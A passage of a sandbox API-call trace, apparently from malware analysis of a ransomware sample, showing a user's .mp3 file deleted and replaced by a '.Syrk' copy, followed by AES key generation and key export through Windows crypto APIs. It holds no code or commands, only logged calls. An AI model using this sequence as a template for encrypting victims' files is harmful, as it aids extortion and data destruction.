nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0182.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e4ac) returned 1 [0182.986] CoTaskMemAlloc (cb=0x404) returned 0x5c632d0 [0182.986] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c632d0, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0182.986] CoTaskMemFree (pv=0x5c632d0) [0182.997] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu\\ck5hblc73yemq3t cjmx.mp3")) returned 0x20 [0182.997] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0182.997] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3", nBufferLength=0x4c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3", lpFilePart=0x0) returned 0x4b [0183.042] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e404) returned 1 [0183.042] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu\\ck5hblc73yemq3t cjmx.mp3"), fInfoLevelId=0x0, lpFileInformation=0x2514f88 | out: lpFileInformation=0x2514f88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38d39420, ftCreationTime.dwHighDateTime=0x1d99ca4, ftLastAccessTime.dwLowDateTime=0xeb72a950, ftLastAccessTime.dwHighDateTime=0x1d99cee, ftLastWriteTime.dwLowDateTime=0xeb72a950, ftLastWriteTime.dwHighDateTime=0x1d99cee, nFileSizeHigh=0x0, nFileSizeLow=0xf56c)) returned 1 [0183.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e400) returned 1 [0183.043] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu\\ck5hblc73yemq3t cjmx.mp3")) returned 1 [0183.044] EtwEventActivityIdControl () returned 0x0 [0183.045] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0183.045] EtwEventActivityIdControl () returned 0x0 [0183.045] EtwEventActivityIdControl () returned 0x0 [0183.045] EtwEventActivityIdControl () returned 0x0 [0183.063] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu\\ck5hblc73yemq3t cjmx.mp3.syrk")) returned 0x20 [0183.064] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu\\ck5hblc73yemq3t cjmx.mp3.syrk")) returned 0x20 [0183.064] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0183.064] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3.Syrk", nBufferLength=0x51, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3.Syrk", lpFilePart=0x0) returned 0x50 [0183.065] EtwEventActivityIdControl () returned 0x0 [0183.071] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0183.147] EtwEventActivityIdControl () returned 0x0 [0183.147] EtwEventActivityIdControl () returned 0x0 [0183.147] EtwEventActivityIdControl () returned 0x0 [0183.263] EtwEventActivityIdControl () returned 0x0 [0183.264] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0183.265] EtwEventActivityIdControl () returned 0x0 [0183.265] EtwEventActivityIdControl () returned 0x0 [0183.265] EtwEventActivityIdControl () returned 0x0 [0183.271] EtwEventActivityIdControl () returned 0x0 [0183.272] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0183.272] EtwEventActivityIdControl () returned 0x0 [0183.272] EtwEventActivityIdControl () returned 0x0 [0183.272] EtwEventActivityIdControl () returned 0x0 [0183.277] EtwEventActivityIdControl () returned 0x0 [0183.340] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0183.341] EtwEventActivityIdControl () returned 0x0 [0183.341] EtwEventActivityIdControl () returned 0x0 [0183.341] EtwEventActivityIdControl () returned 0x0 [0183.345] EtwEventActivityIdControl () returned 0x0 [0183.389] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0183.390] EtwEventActivityIdControl () returned 0x0 [0183.390] EtwEventActivityIdControl () returned 0x0 [0183.390] EtwEventActivityIdControl () returned 0x0 [0183.395] EtwEventActivityIdControl () returned 0x0 [0183.525] EtwEventActivityIdControl () returned 0x0 [0183.525] EtwEventActivityIdControl () returned 0x0 [0183.525] EtwEventActivityIdControl () returned 0x0 [0183.536] EtwEventActivityIdControl () returned 0x0 [0183.536] EtwEventActivityIdControl () returned 0x0 [0183.536] EtwEventActivityIdControl () returned 0x0 [0183.585] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5a2dce4, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0183.586] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5a2dce4, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0183.588] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5a2dc64, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0183.697] CoCreateGuid (in: pguid=0x5a2e4f8 | out: pguid=0x5a2e4f8*(Data1=0x89abb5fe, Data2=0xa9f4, Data3=0x4da7, Data4=([0]=0xa7, [1]=0x92, [2]=0x8a, [3]=0x18, [4]=0xa0, [5]=0xd4, [6]=0xce, [7]=0x31))) returned 0x0 [0183.698] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2e244 | out: lpPerformanceCount=0x5a2e244*=3252536311632) returned 1 [0183.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de54) returned 1 [0183.966] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu\\ck5hblc73yemq3t cjmx.mp3.syrk"), fInfoLevelId=0x0, lpFileInformation=0x252572c | out: lpFileInformation=0x252572c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe964d900, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xe964d900, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xe9cd9580, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0xf584)) returned 1 [0183.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de50) returned 1 [0183.967] CoCreateGuid (in: pguid=0x5a2e5ec | out: pguid=0x5a2e5ec*(Data1=0x8d906d94, Data2=0x1634, Data3=0x4eaa, Data4=([0]=0x94, [1]=0x52, [2]=0xef, [3]=0xe6, [4]=0x17, [5]=0x62, [6]=0x6d, [7]=0xbb))) returned 0x0 [0183.967] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2e2e8 | out: lpPerformanceCount=0x5a2e2e8*=3252981970889) returned 1 [0184.668] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e748 | out: lpConsoleScreenBufferInfo=0x5a2e748) returned 1 [0184.673] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5a2dd9c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0184.673] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e740 | out: lpMode=0x5a2e740) returned 1 [0184.674] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x25d6d6c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e734, lpReserved=0x0 | out: lpBuffer=0x25d6d6c*, lpNumberOfCharsWritten=0x5a2e734*=0x2) returned 1 [0184.675] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e6e4 | out: lpConsoleScreenBufferInfo=0x5a2e6e4) returned 1 [0184.677] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e738 | out: lpConsoleScreenBufferInfo=0x5a2e738) returned 1 [0184.677] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e730 | out: lpMode=0x5a2e730) returned 1 [0184.678] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x25d6d6c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e724, lpReserved=0x0 | out: lpBuffer=0x25d6d6c*, lpNumberOfCharsWritten=0x5a2e724*=0x2) returned 1 [0184.680] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e748 | out: lpConsoleScreenBufferInfo=0x5a2e748) returned 1 [0184.684] GetConsoleOutputCP () returned 0x1b5 [0184.686] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4b8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4b8) returned 0 [0184.686] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e598 | out: lpConsoleScreenBufferInfo=0x5a2e598) returned 1 [0184.687] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e590 | out: lpMode=0x5a2e590) returned 1 [0184.687] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x25d7804*, nNumberOfCharsToWrite=0x41, lpNumberOfCharsWritten=0x5a2e584, lpReserved=0x0 | out: lpBuffer=0x25d7804*, lpNumberOfCharsWritten=0x5a2e584*=0x41) returned 1 [0184.689] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e590 | out: lpMode=0x5a2e590) returned 1 [0184.689] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x25d6d6c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e584, lpReserved=0x0 | out: lpBuffer=0x25d6d6c*, lpNumberOfCharsWritten=0x5a2e584*=0x2) returned 1 [0184.690] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e6a0 | out: lpConsoleScreenBufferInfo=0x5a2e6a0) returned 1 [0184.690] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e698 | out: lpMode=0x5a2e698) returned 1 [0184.691] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x25d6d6c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e68c, lpReserved=0x0 | out: lpBuffer=0x25d6d6c*, lpNumberOfCharsWritten=0x5a2e68c*=0x2) returned 1 [0184.691] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e738 | out: lpConsoleScreenBufferInfo=0x5a2e738) returned 1 [0184.691] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e730 | out: lpMode=0x5a2e730) returned 1 [0184.692] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x25d6d6c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e724, lpReserved=0x0 | out: lpBuffer=0x25d6d6c*, lpNumberOfCharsWritten=0x5a2e724*=0x2) returned 1 [0184.693] GetConsoleOutputCP () returned 0x1b5 [0184.694] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e548, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e548) returned 0 [0184.694] GetConsoleOutputCP () returned 0x1b5 [0184.694] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5d0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5d0) returned 0 [0184.694] GetConsoleOutputCP () returned 0x1b5 [0184.694] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5ac, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5ac) returned 0 [0184.694] GetConsoleOutputCP () returned 0x1b5 [0184.694] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5ac, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5ac) returned 0 [0184.694] GetConsoleOutputCP () returned 0x1b5 [0184.695] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e548, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e548) returned 0 [0184.695] GetConsoleOutputCP () returned 0x1b5 [0184.695] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5d0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5d0) returned 0 [0184.695] GetConsoleOutputCP () returned 0x1b5 [0184.695] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5ac, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5ac) returned 0 [0184.695] GetConsoleOutputCP () returned 0x1b5 [0184.695] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5ac, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5ac) returned 0 [0184.695] GetConsoleOutputCP () returned 0x1b5 [0184.696] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e548, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e548) returned 0 [0184.696] GetConsoleOutputCP () returned 0x1b5 [0184.696] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5d0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5d0) returned 0 [0184.696] GetConsoleOutputCP () returned 0x1b5 [0184.696] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5ac, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5ac) returned 0 [0184.696] GetConsoleOutputCP () returned 0x1b5 [0184.696] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5ac, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5ac) returned 0 [0184.697] GetConsoleOutputCP () returned 0x1b5 [0184.697] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e548, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e548) returned 0 [0184.697] GetConsoleOutputCP () returned 0x1b5 [0184.697] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5d0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5d0) returned 0 [0184.697] GetConsoleOutputCP () returned 0x1b5 [0184.697] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5ac, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5ac) returned 0 [0184.697] GetConsoleOutputCP () returned 0x1b5 [0184.698] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5ac, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5ac) returned 0 [0184.698] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e698 | out: lpConsoleScreenBufferInfo=0x5a2e698) returned 1 [0184.698] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e690 | out: lpMode=0x5a2e690) returned 1 [0184.699] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x25d818c*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e684, lpReserved=0x0 | out: lpBuffer=0x25d818c*, lpNumberOfCharsWritten=0x5a2e684*=0x4f) returned 1 [0184.699] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e690 | out: lpMode=0x5a2e690) returned 1 [0184.699] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x25d6d6c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e684, lpReserved=0x0 | out: lpBuffer=0x25d6d6c*, lpNumberOfCharsWritten=0x5a2e684*=0x2) returned 1 [0184.700] GetConsoleOutputCP () returned 0x1b5 [0184.700] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e66c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e66c) returned 0 [0184.700] GetConsoleOutputCP () returned 0x1b5 [0184.700] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e66c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e66c) returned 0 [0184.700] GetConsoleOutputCP () returned 0x1b5 [0184.700] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e66c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e66c) returned 0 [0184.700] GetConsoleOutputCP () returned 0x1b5 [0184.701] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e66c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e66c) returned 0 [0184.701] GetConsoleOutputCP () returned 0x1b5 [0184.701] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5fc) returned 0 [0184.701] GetConsoleOutputCP () returned 0x1b5 [0184.701] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5fc) returned 0 [0184.701] GetConsoleOutputCP () returned 0x1b5 [0184.701] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5fc) returned 0 [0184.702] GetConsoleOutputCP () returned 0x1b5 [0184.702] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5fc) returned 0 [0184.702] GetConsoleOutputCP () returned 0x1b5 [0184.702] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5fc) returned 0 [0184.702] GetConsoleOutputCP () returned 0x1b5 [0184.702] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5fc) returned 0 [0184.702] GetConsoleOutputCP () returned 0x1b5 [0184.702] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5fc) returned 0 [0184.703] GetConsoleOutputCP () returned 0x1b5 [0184.703] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5fc) returned 0 [0184.703] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e698 | out: lpConsoleScreenBufferInfo=0x5a2e698) returned 1 [0184.703] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e690 | out: lpMode=0x5a2e690) returned 1 [0184.704] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x25d8634*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e684, lpReserved=0x0 | out: lpBuffer=0x25d8634*, lpNumberOfCharsWritten=0x5a2e684*=0x4f) returned 1 [0184.704] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e690 | out: lpMode=0x5a2e690) returned 1 [0184.704] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x25d6d6c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e684, lpReserved=0x0 | out: lpBuffer=0x25d6d6c*, lpNumberOfCharsWritten=0x5a2e684*=0x2) returned 1 [0184.705] GetConsoleOutputCP () returned 0x1b5 [0184.705] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0184.705] GetConsoleOutputCP () returned 0x1b5 [0184.706] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0184.706] GetConsoleOutputCP () returned 0x1b5 [0184.706] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0184.706] GetConsoleOutputCP () returned 0x1b5 [0184.706] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0184.706] GetConsoleOutputCP () returned 0x1b5 [0184.706] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0184.706] GetConsoleOutputCP () returned 0x1b5 [0184.707] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0184.707] GetConsoleOutputCP () returned 0x1b5 [0184.707] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0184.707] GetConsoleOutputCP () returned 0x1b5 [0184.707] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0184.707] GetConsoleOutputCP () returned 0x1b5 [0184.707] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0184.707] GetConsoleOutputCP () returned 0x1b5 [0184.708] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0184.708] GetConsoleOutputCP () returned 0x1b5 [0184.708] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0184.708] GetConsoleOutputCP () returned 0x1b5 [0184.708] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0184.708] GetConsoleOutputCP () returned 0x1b5 [0184.708] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0184.708] GetConsoleOutputCP () returned 0x1b5 [0184.709] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0184.709] GetConsoleOutputCP () returned 0x1b5 [0184.709] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0184.709] GetConsoleOutputCP () returned 0x1b5 [0184.709] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0184.709] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e6cc | out: lpConsoleScreenBufferInfo=0x5a2e6cc) returned 1 [0184.710] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0184.710] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x25d9080*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x25d9080*, lpNumberOfCharsWritten=0x5a2e6b8*=0x4f) returned 1 [0184.710] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0184.711] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x25d6d6c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x25d6d6c*, lpNumberOfCharsWritten=0x5a2e6b8*=0x2) returned 1 [0184.786] EtwEventActivityIdControl () returned 0x0 [0184.786] EtwEventActivityIdControl () returned 0x0 [0184.787] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2eb1c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0184.788] EtwEventActivityIdControl () returned 0x0 [0184.788] EtwEventActivityIdControl () returned 0x0 [0184.788] EtwEventActivityIdControl () returned 0x0 [0184.792] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e774, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0184.793] EtwEventActivityIdControl () returned 0x0 [0184.793] EtwEventActivityIdControl () returned 0x0 [0184.793] EtwEventActivityIdControl () returned 0x0 [0184.804] CryptAcquireContextW (in: phProv=0x5a2e370, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e370*=0x373678) returned 1 [0184.806] CryptGenKey (in: hProv=0x373678, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e7b0 | out: phKey=0x5a2e7b0*=0x5c69140) returned 1 [0184.806] CryptContextAddRef (hProv=0x373678, pdwReserved=0x0, dwFlags=0x0) returned 1 [0184.874] CryptExportKey (in: hKey=0x5c69140, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e720 | out: pbData=0x0*, pdwDataLen=0x5a2e720*=0x2c) returned 1 [0184.874] CryptExportKey (in: hKey=0x5c69140, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x25ed8c4, pdwDataLen=0x5a2e720 | out: pbData=0x25ed8c4*, pdwDataLen=0x5a2e720*=0x2c) returned 1 [0184.876] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e368, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0184.877] EtwEventActivityIdControl () returned 0x0 [0184.877] EtwEventActivityIdControl () returned 0x0 [0184.877] EtwEventActivityIdControl () returned 0x0 [0184.878] SysStringLen (param_1="") returned 0x8 [0184.878] SysStringLen (param_1="K") returned 0x8 [0184.878] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0184.879] SysStringLen (param_1="뮪㷷\都慘㿏홷∃) returned 0x8 [0184.879] SysStringLen (param_1="뮪㷷\都慘㿏홷∃) returned 0x8 [0184.879] SystemFunction041 